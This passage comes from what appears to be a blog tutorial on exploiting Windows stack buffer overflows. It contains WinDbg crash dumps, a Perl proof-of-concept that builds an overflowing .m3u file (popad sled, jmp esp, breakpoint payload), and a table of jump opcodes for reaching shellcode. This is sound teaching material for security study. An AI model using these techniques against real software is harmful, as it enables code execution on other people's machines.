eax=00000001 ebx=00104a58 ecx=7c91005d edx=003f0000 esi=77c5fce0 edi=0000666d
eip=42424242 esp=000ff730 ebp=00344158 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
<Unloaded_P32.dll>+0x42424231:
42424242 ?? ???
0:000> d esp
000ff730 58 58 58 58 58 58 58 58-58 58 58 58 58 44 44 44 XXXXXXXXXXXXXDDD | => 13 bytes
000ff740 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD | => garbage
000ff750 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD | => garbage
000ff760 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD | => garbage
000ff770 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD | => garbage
000ff780 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD | => garbage
000ff790 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD | => garbage
000ff7a0 00 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA | => garbage
0:000> d
000ff7b0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA | => garbage
000ff7c0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA | => garbage
000ff7d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA | => garbage
000ff7e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA | => garbage
000ff7f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA | => garbage
000ff800 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA | => garbage
000ff810 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA | => garbage
000ff820 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA | => garbage
0:000> d
000ff830 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA | => garbage
000ff840 41 41 90 90 90 90 90 90-90 90 90 90 90 90 90 90 AA.............. | => garbage
000ff850 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ | => NOPS/Shellcode
000ff860 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ | => NOPS/Shellcode
000ff870 90 90 90 90 cc 41 41 41-41 41 41 41 41 41 41 41 .....AAAAAAAAAAA | => NOPS/Shellcode
000ff880 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA | => NOPS/Shellcode
000ff890 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA | => NOPS/Shellcode
000ff8a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA | => NOPS/Shellcode
Let’s pretend that we need to use the 13 X’s (so 13 bytes) that are available directly at ESP to jump over 100 D’s (44) and 160 A’s (so a total of 260 bytes) to end up at our shellcode (starts with NOPs, then a breakpoint, and then A’s (=shellcode))One popad = 32 bytes. So 260 bytes = 9 popad’s (-28 bytes)
(so we need to start our shellcode with nops, or start the shellcode at [start of shellcode]+28 bytes
In our case, we have put some nops before the shellcode, so let’s try to “popad” into the nops and see if the application breaks at our breakpoint.
First, overwrite EIP again with jmp esp. (see one of the previous exploit scripts)
Then, instead of the X’s, perform 9 popad’s, followed by “jmp esp” opcode (0xff,0xe4)
my $file= "test1.m3u";
my $buffersize = 26094;
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = pack('V',0x01ccf23a); #jmp esp from MSRMCcodec02.dll
my $preshellcode = "X" x 4; # needed to point ESP at next 13 bytes below
$preshellcode=$preshellcode."\x61" x 9; #9 popads
$preshellcode=$preshellcode."\xff\xe4"; #10th and 11th byte, jmp esp
$preshellcode=$preshellcode."\x90\x90\x90"; #fill rest with some nops
my $garbage = "\x44" x 100; #garbage to jump over
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$garbage;
close($FILE);
print "m3u File Created successfully\n";
After opening the file, the application does indeed break at the breakpoint. EIP and ESP look like this :(f40.5f0): Break instruction exception - code 80000003 (first chance)
eax=90909090 ebx=90904141 ecx=90909090 edx=90909090 esi=41414141 edi=41414141
eip=000ff874 esp=000ff850 ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
<Unloaded_P32.dll>+0xff863:
000ff874 cc int 3
0:000> d eip
000ff874 cc 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA
000ff884 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff894 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8a4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8b4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8c4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8d4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8e4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> d eip-32
000ff842 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff852 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff862 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff872 90 90 cc 41 41 41 41 41-41 41 41 41 41 41 41 41 ...AAAAAAAAAAAAA
000ff882 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff892 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8a2 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8b2 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> d esp
000ff850 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff860 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff870 90 90 90 90 cc 41 41 41-41 41 41 41 41 41 41 41 .....AAAAAAAAAAA
000ff880 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff890 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8b0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8c0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
=> the popad’s have worked and made esp point at the nops. Then the jump to esp was made (0xff 0xe4), which made EIP jump to nops, and slide to the breakpoint (at 000f874)Another (less preferred, but still possible) way to jump to shellcode is by using jumpcode that simply jumps to the address (or an offset of a register). Since the addresses/registers could vary during every program execution, this technique may not work every time.
So, in order to hardcode addresses or offsets of a register, you simply need to find the opcode that will do the jump, and then use that opcode in the smaller “first”/stage1 buffer, in order to jump to the real shellcode.
1. jump to 0x12345678
0:000> a
7c90120e jmp 12345678
jmp 12345678
7c901213
0:000> u 7c90120e
ntdll!DbgBreakPoint:
7c90120e e96544a495 jmp 12345678
=> opcode is 0xe9,0x65,0x44,0xa4,0x95
2. jump to ebx+124h
0:000> a
7c901214 add ebx,124
add ebx,124
7c90121a jmp ebx
jmp ebx
7c90121c
0:000> u 7c901214
ntdll!DbgUserBreakPoint+0x2:
7c901214 81c324010000 add ebx,124h
7c90121a ffe3 jmp ebx
=> opcodes are 0x81,0xc3,0x24,0x01,0x00,0x00 (add ebx 124h)
=> opcodes are 0x81,0xc3,0x24,0x01,0x00,0x00 (add ebx 124h) and 0xff,0xe3 (jmp ebx)Short jumps & conditional jumps
In the event you need to jump over just a few bytes, then you can use a couple ‘short jump’ techniques to accomplish this :-
a short jump : (jmp) : opcode 0xeb, followed by the number of bytes
So if you want to jump 30 bytes, the opcode is 0xeb,0x1e
-
a conditional (short/near) jump : (“jump if condition is met”) : This technique is based on the states of one or more of the status flags in the EFLAGS register (CF,OF,PF,SF and ZF). If the flags are in the specified state (condition), then a jump can be made to the target instruction specified by the destination operand. This target instruction is specified with a relative offset (relative to the current value of EIP).
Let’s say the Zero flag is 1, then you can use opcode 0x74, followed by the number of bytes you want to jump (0x06 in our case)
This is a little table with jump opcodes and flag conditions :
Code Mnemonic Description
77 cb JA rel8 Jump short if above (CF=0 and ZF=0)
73 cb JAE rel8 Jump short if above or equal (CF=0)
72 cb JB rel8 Jump short if below (CF=1)
76 cb JBE rel8 Jump short if below or equal (CF=1 or ZF=1)
72 cb JC rel8 Jump short if carry (CF=1)
E3 cb JCXZ rel8 Jump short if CX register is 0
E3 cb JECXZ rel8 Jump short if ECX register is 0
74 cb JE rel8 Jump short if equal (ZF=1)
7F cb JG rel8 Jump short if greater (ZF=0 and SF=OF)
7D cb JGE rel8 Jump short if greater or equal (SF=OF)
7C cb JL rel8 Jump short if less (SF<>OF)
7E cb JLE rel8 Jump short if less or equal (ZF=1 or SF<>OF)
76 cb JNA rel8 Jump short if not above (CF=1 or ZF=1)
72 cb JNAE rel8 Jump short if not above or equal (CF=1)
73 cb JNB rel8 Jump short if not below (CF=0)
77 cb JNBE rel8 Jump short if not below or equal (CF=0 and ZF=0)
73 cb JNC rel8 Jump short if not carry (CF=0)
75 cb JNE rel8 Jump short if not equal (ZF=0)
7E cb JNG rel8 Jump short if not greater (ZF=1 or SF<>OF)
7C cb JNGE rel8 Jump short if not greater or equal (SF<>OF)
7D cb JNL rel8 Jump short if not less (SF=OF)
7F cb JNLE rel8 Jump short if not less or equal (ZF=0 and SF=OF)
71 cb JNO rel8 Jump short if not overflow (OF=0)
7B cb JNP rel8 Jump short if not parity (PF=0)
79 cb JNS rel8 Jump short if not sign (SF=0)
75 cb JNZ rel8 Jump short if not zero (ZF=0)
70 cb JO rel8 Jump short if overflow (OF=1)
7A cb JP rel8 Jump short if parity (PF=1)
7A cb JPE rel8 Jump short if parity even (PF=1)
7B cb JPO rel8 Jump short if parity odd (PF=0)
78 cb JS rel8 Jump short if sign (SF=1)
74 cb JZ rel8 Jump short if zero (ZF = 1)
0F 87 cw/cd JA rel16/32 Jump near if above (CF=0 and ZF=0)
0F 83 cw/cd JAE rel16/32 Jump near if above or equal (CF=0)
0F 82 cw/cd JB rel16/32 Jump near if below (CF=1)
0F 86 cw/cd JBE rel16/32 Jump near if below or equal (CF=1 or ZF=1)
0F 82 cw/cd JC rel16/32 Jump near if carry (CF=1)
0F 84 cw/cd JE rel16/32 Jump near if equal (ZF=1)
0F 84 cw/cd JZ rel16/32 Jump near if 0 (ZF=1)
0F 8F cw/cd JG rel16/32 Jump near if greater (ZF=0 and SF=OF)
0F 8D cw/cd JGE rel16/32 Jump near if greater or equal (SF=OF)
0F 8C cw/cd JL rel16/32 Jump near if less (SF<>OF)
0F 8E cw/cd JLE rel16/32 Jump near if less or equal (ZF=1 or SF<>OF)
0F 86 cw/cd JNA rel16/32 Jump near if not above (CF=1 or ZF=1)
0F 82 cw/cd JNAE rel16/32 Jump near if not above or equal (CF=1)
0F 83 cw/cd JNB rel16/32 Jump near if not below (CF=0)
0F 87 cw/cd JNBE rel16/32 Jump near if not below or equal (CF=0 and ZF=0)
0F 83 cw/cd JNC rel16/32 Jump near if not carry (CF=0)
0F 85 cw/cd JNE rel16/32 Jump near if not equal (ZF=0)
0F 8E cw/cd JNG rel16/32 Jump near if not greater (ZF=1 or SF<>OF)
0F 8C cw/cd JNGE rel16/32 Jump near if not greater or equal (SF<>OF)
0F 8D cw/cd JNL rel16/32 Jump near if not less (SF=OF)
0F 8F cw/cd JNLE rel16/32 Jump near if not less or equal (ZF=0 and SF=OF)
0F 81 cw/cd JNO rel16/32 Jump near if not overflow (OF=0)
0F 8B cw/cd JNP rel16/32 Jump near if not parity (PF=0)
0F 89 cw/cd JNS rel16/32 Jump near if not sign (SF=0)
0F 85 cw/cd JNZ rel16/32 Jump near if not zero (ZF=0)
0F 80 cw/cd JO rel16/32 Jump near if overflow (OF=1)
0F 8A cw/cd JP rel16/32 Jump near if parity (PF=1)
0F 8A cw/cd JPE rel16/32 Jump near if parity even (PF=1)
0F 8B cw/cd JPO rel16/32 Jump near if parity odd (PF=0)
0F 88 cw/cd JS rel16/32 Jump near if sign (SF=1)
0F 84 cw/cd JZ rel16/32 Jump near if 0 (ZF=1)
As you can see in the table, you can also do a short jump based on register ECX being zero. One of the Windows SEH protections (see part 3 of the tutorial series) that have been put in place is the fact that registers are cleared when an exception occurs. So sometimes you will even be able to use 0xe3 as jump opcode (if ECX = 00000000)Note : You can find more/other information about making 2 byte jumps (forward and backward/negative jumps) at http://thestarman.narod.ru/asm/2bytejumps.htm
Backward jumps
In the event you need to perform backward jumps (jump with a negative offset) : get the negative number and convert it to hex. Take the dword hex value and use that as argument to a jump (\xeb or \xe9)
Example : jump back 7 bytes : -7 = FFFFFFF9, so jump -7 would be "\xeb\xf9\xff\xff"
Exampe : jump back 400 bytes : -400 = FFFFFE70, so jump -400 bytes = "\xe9\x70\xfe\xff\xff" (as you can see, this opcode is 5 bytes long. Sometimes (if you need to stay within a dword size (4 byte limit), then you may need to perform multiple shorter jumps in order to get where you want to be)
Very great summary, thanks for sharing!
ReplyDelete